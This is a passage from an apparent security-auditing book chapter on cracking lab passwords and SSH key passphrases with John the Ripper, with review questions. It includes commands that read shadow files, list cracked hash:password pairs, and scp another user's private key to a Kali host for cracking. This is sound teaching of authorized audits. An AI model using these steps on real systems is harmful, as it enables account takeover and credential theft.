  1. Use the shadow and passwd files from your Ubuntu Server machine. The only difference from how you did this on the Metasploitable2 machine is that you’ll be able to use either scp or sftp to transfer the files to the Kali machine, since you’re no longer dealing with an antiquated version of OpenSSH.
  2. Run the unshadow command on the Ubuntu machine’s shadow and passwd files, like so:
    ┌──(kali㉿kali)-[~]
    └─$ unshadow passwd shadow > unshadow_ubuntu25-04_output.txt
  3. You already have the password for the mrtux account in the metasploitable_cewl_wordlist.txt and metasploitable_cewl_wordlist_2.txt password wordlists that you created with cewl. Edit the metasploitable_cewl_wordlist_2.txt file, and add the password for your own user account to the bottom of the list.
  4. Finally, run the john_single-wordlist_3.sh script, specifying the unshadow_ubuntu25-04_output.txt file that you just created. For the password wordlist, specify the metasploitable_cewl_wordlist_2.txt file that you just edited. The command should look like this:
    ┌──(kali㉿kali)-[~]
    └─$ ./john_single-wordlist_3.sh unshadow_ubuntu25-04_output.txt metasploitable_cewl_wordlist_2.txt

When the operation completes, which won’t take long at all, you should see the passwords from both the SHA512 hash and the yescrypt hash.

Cool. Next, let’s look at John the Ripper’s output files.

The first time you run john, it will create a hidden .john subdirectory in the top level of your home directory. Within that subdirectory, it will create the john.log and john.pot files. The john.log file is, as you would expect, a record of what john actually does when in use. Look through it, and you’ll get a better idea of how john actually operates.

The john.pot file is what really interests us. This contains a record of the password hashes and the corresponding passwords that were found on every machine that you’ve audited. Every time you audit another machine, the hashes and passwords from that new machine will be appended to the john.pot file. If you audit any machine a second time, john will tell you that no new hashes have been found, unless you either add a new user or a user has changed his or her password. Here’s how the john.pot file on my Kali machine looks after I’ve audited several different machines:

┌──(kali㉿kali)-[~]
└─$ cat .john/john.pot
$y$j9T$gr9eJmQ6Lrfkq3t38XbAD0$/kVDih1uMsacgyP2f.XkZXCF/davzvd9MGx6H/Lhm74:AndreaSterbini
$y$j9T$MUAjOhEet8Vxd.I6FhOSp0$Chl1fSZ0FmnHNQK08RfIPcJ9WKs62MaWIFheYBhYAw9:AndreaSterbini
$6$3JTdxSKp6PhFKukX$mp0bOfvs2/oaj2ZLgbsNM2DYh2/f628yG6bh0mAKPHY5KdvTBxZ6xQEE6prfvGFxD5qjeHd4G8gm16yqpExcB.:Turkey**Lips
$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:user
$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:postgres
$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:msfadmin
$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:service
$y$j9T$eXrli/L9tYaiLI8gInMcy1$jJSqE.v4/Yy.P4qXtXoQ4CPKg9.B127DX.NnUXIKgYD:cutiepie
$6$gpj.YFQAuqBOFtCt$/gozUYHkWG6xptaiSOxTA6cfobBJ2p8iqKslNF3JcGowsViU/fPmTxK9Af9aIPmxRmllVLexVYjsJga3PbSmH0:tinkerbell

The problems that you see here are that all of the hashes and passwords from all audited machines are jumbled up into one single file, and that there are no usernames. To fix that, just use the john --show option, followed by the name of the unshadowed file that you created for one of the audited machines. For example, here’s the list for the Metasploitable2 machine:

┌──(kali㉿kali)-[~]
└─$ john --show unshadow_output.txt
sys:batman:3:3:sys:/dev:/bin/sh
klog:123456789:103:104::/home/klog:/bin/false
msfadmin:msfadmin:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
postgres:postgres:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
user:user:1001:1001:just a user,111,,:/home/user:/bin/bash
service:service:1002:1002:,,,:/home/service:/bin/bash
6 password hashes cracked, 1 left

To see the list for a different machine, just specify the name of the unshadowed file for that machine. Here’s what I have for my FreeBSD machine:

┌──(kali㉿kali)-[~]
└─$ john --show unshadow_freebsd14_output.txt
loki:tinkerbell:1002:1002:Loki the Black Cat:/home/loki:/bin/sh
1 password hash cracked, 2 left

So Loki, a neighbor’s big black fluffy tomcat who visits me on a daily basis, is using tinkerbell as his password. (Seriously, “ tinkerbell ”? Well, what would you expect from a cat?)

Anyway, this now brings us to the final addition that we’ll make to our script. That is, we’ll add the capability to automatically create a separate username and password file for each machine that we audit. We’ll do this with the john_single-wordlist_4.sh script. Rather than show you the entire script this time, I’ll just show you the line that I added to the end of the previous script:

john --show "${InputList}" | tee passwords_for_"${InputList}"

Easy-peasy, right? Anyway, I’ve just added the password for my own user account to the metasploitable_cewl_wordlist_2.txt file, which you’ll see in just a moment. Now, I’ll audit my OpenIndiana virtual machine:

┌──(kali㉿kali)-[~]
└─$ ./john_single-wordlist_4.sh unshadow_openindiana_output.txt metasploitable_cewl_wordlist_2.txt

Here’s the output file for the OpenIndiana machine:

┌──(kali㉿kali)-[~]
└─$ ls -l passwords_for_unshadow_openindiana_output.txt
-rw-rw-r-- 1 kali kali 108 Aug 8 18:37 passwords_for_unshadow_openindiana_output.txt

And here’s what’s in it:

┌──(kali㉿kali)-[~]
└─$ cat passwords_for_unshadow_openindiana_output.txt
donnie:Turkey**Lips:101:10:Donald A. Tevault:/export/home/donnie:/bin/bash
1 password hash cracked, 1 left

So, I’m using Turkey**Lips for my password, yet I’m making fun of Loki for his tinkerbell password. Right.

Before leaving this topic, I want to emphasize that we have in no way compromised or cracked the password hashing algorithms. In single mode, john computes a salted hash for each username, and then compares that computed hash with the hash for each user’s password to see if it’s the same. In wordlist mode, john computes the salted hash for each word in the password wordlist, and then compares each computed hash to the hash for each user’s password. And, as you’ve just seen, it works even with the strongest of hashing algorithms.

Before we wrap up this chapter, let’s look at one more cool John the Ripper trick.

The most secure way to set up SSH access for your users is to have them use key exchange authorization, instead of password authorization. To do this, the user will first create a pair of public and private keys, and then transfer the public key to the server that he or she wants to access via SSH. And of course, the server administrator will then need to completely disable password authentication in the SSH configuration file.

The whole setup process is beyond the scope of our present topic. All we want to do for now is to create a pair of SSH keys, assign a password to the private key, and then try to crack the private key. To see a detailed procedure for setting up key exchange authorization, be sure to check out my Mastering Linux Security and Hardening book.

However, I will share a couple of quick tips that you can recommend to your clients. First, be sure to have users protect their private SSH keys with strong passphrases that won’t be found in any password wordlists. Secondly, recommend that the server administrators set all user accounts up with key-based authentication, and completely disable password authentication.

We’ll use the Ubuntu Server virtual machine that we’ve been using for the previous demos.

  1. First, log into Mr. Tux’s account on the Ubuntu Server machine, and have him use the ssh-keygen utility to create a pair of SSH keys. When prompted to enter a passphrase, use the same AndreaSterbini password that you used for his user account. For everything else, just accept the default choices.
    mrtux@ubuntu2504-2:~$ ssh-keygen
    Generating public/private ed25519 key pair.
    Enter file in which to save the key (/home/mrtux/.ssh/id_ed25519):
    Created directory '/home/mrtux/.ssh'.
    Enter passphrase for "/home/mrtux/.ssh/id_ed25519" (empty for no passphrase):
    Enter same passphrase again:
    Your identification has been saved in /home/mrtux/.ssh/id_ed25519
    Your public key has been saved in /home/mrtux/.ssh/id_ed25519.pub
    . . .
    . . .
    mrtux@ubuntu2504-2:~$
  2. View the files that Mr. Tux created:
    mrtux@ubuntu2504-2:~$ ls -l .ssh
    total 8
    -rw------- 1 mrtux mrtux 464 Aug 9 19:11 id_ed25519
    -rw-r--r-- 1 mrtux mrtux 100 Aug 9 19:11 id_ed25519.pub
    mrtux@ubuntu2504-2:~$

The file with the .pub filename extension is the public key, and the other is the private key.

  1. For the next step, you’ll need to somehow transfer Mr. Tux’s private key to your Kali machine. In this case, we’ll say that you’re the administrator of this server, with full sudo privileges. This will allow you to enter Mr. Tux’s home directory and access his private key. Before you do that, you’ll need to start the SSH service on your Kali machine, like this:
    ┌──(kali㉿kali)-[~]
    └─$ sudo systemctl start ssh
    [sudo] password for kali:
  2. Now, log into your normal user account on the Ubuntu Server, and then sudo su - into the root user’s terminal. Then, go into Mr. Tux’s home directory to see his keys. Here’s how that looks:
    donnie@ubuntu2504-2:~$ sudo su -
    [sudo] password for donnie:
    root@ubuntu2504-2:~# cd /home/mrtux/.ssh
    root@ubuntu2504-2:/home/mrtux/.ssh# ls
    id_ed25519 id_ed25519.pub
    root@ubuntu2504-2:/home/mrtux/.ssh#
  3. Use scp to transfer the private key to your Kali machine, like this:
    root@ubuntu2504-2:/home/mrtux/.ssh# scp id_ed25519 [email protected]:
  4. On the Kali machine, rename the private key file so that Mr. Tux’s username is in the filename:
    ┌──(kali㉿kali)-[~]
    └─$ mv id_ed25519 id_ed25519-mrtux
  5. Use the ssh2john utility to calculate the hash value of Mr. Tux’s private key, and direct it into a text file. Here’s how that looks:
    ┌──(kali㉿kali)-[~]
    └─$ ssh2john id_ed25519-mrtux > mrtux_private-key.txt
  6. Use john to run a wordlist attack on this file, using the same metasploitable_cewl_wordlist_2.txt wordlist that you’ve been using:
    ┌──(kali㉿kali)-[~]
    └─$ john mrtux_private-key.txt --wordlist=metasploitable_cewl_wordlist_2.txt
    Using default input encoding: UTF-8
    Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
    Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
    Cost 2 (iteration count) is 24 for all loaded hashes
    Will run 4 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    AndreaSterbini (id_ed25519)
    1g 0:00:00:07 DONE (2025-08-09 16:16) 0.1315g/s 21.05p/s 21.05c/s 21.05C/s including..developers
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed.
  7. Use the john --show option to view Mr. Tux’s password:
    ┌──(kali㉿kali)-[~]
    └─$ john --show mrtux_private-key.txt
    id_ed25519-mrtux:AndreaSterbini
    1 password hash cracked, 0 left

Of course, you could also run this in either single mode or incremental mode, as you can do with the passwd and shadow files. If you want to run both single mode and wordlist mode from a script, you’ll need to use the ./john_single-wordlist_2.sh script. The john --format=crypt option that’s in the third and fourth versions of the script doesn’t work with the hash from an SSH key.

And that’s about it for the mysteries of John the Ripper. Let’s go ahead and summarize.

As always, we covered some cool topics in this chapter, and had a bit of fun along the way. We began with a brief explanation of the different types of password cracking attacks. Then, we looked at a new type of nmap scan that will help us determine what types of network services can be attacked on the target machine. After that, we looked at various ways to either obtain or create wordlists of possible usernames and passwords. Finally, we got into the good stuff by working with hydra to perform online password attacks and John the Ripper to perform offline password attacks. And of course, we also created some cool shell scripts as icing on the cake.

In the next chapter, we’ll begin exploring the Metasploit tool. I’ll see you there.

  1. Which of the following statements is true about auditing your own employer’s user passwords?
    1. If you can legally access the shadow and passwd files for a server, you can go ahead and audit the user passwords without prior permission. 2. Even if you can legally access the shadow and passwd files for a server, you’ll still need to obtain written authorization before auditing user passwords.
  2. Which two of these statements are true concerning online password attacks and offline password attacks? (Choose two.)
    1. Offline attacks are for breaking into running network services. 2. Online attacks require that a user already has admin-level access to the target server. 3. Offline attacks require that a user already has admin-level access to the target server. 4. Online attacks are for breaking into running network services.
  3. Other than when it uses brute-force, how does John the Ripper perform its password attacks? (Choose two.)
    1. It cracks the hashing algorithms, so that all passwords become known. 2. It can only perform brute-force attacks. 3. It calculates the salted hash values of the usernames, and then compares those to the hash values of the users’ passwords to see if they’re the same. 4. It calculates the salted hash values of possible passwords from a wordlist, and compares them to the hash values of the users’ passwords until a match is found.
  4. What is a difference between how you crack users’ passwords and how you crack users’ private SSH keys?
    1. There is no difference. 2. When cracking users’ SSH private keys, you can’t use the --format=crypt option with john. 3. When cracking users’ passwords, you can’t use the --format=crypt option with john. 4. You can’t use john to crack private SSH keys.
  5. How is using hydra to attack either the FTP or the SSH service different from using it to attack a web form login page?
    1. Attacking a web form login page requires you to specify extra parameters in the hydra command. 2. Attacking FTP or SSH requires you to specify extra parameters in the hydra command. 3. There is no difference. 4. You can only use hydra to attack FTP and SSH services.

1. b

2. c, d

3. c, d

4. b

5. a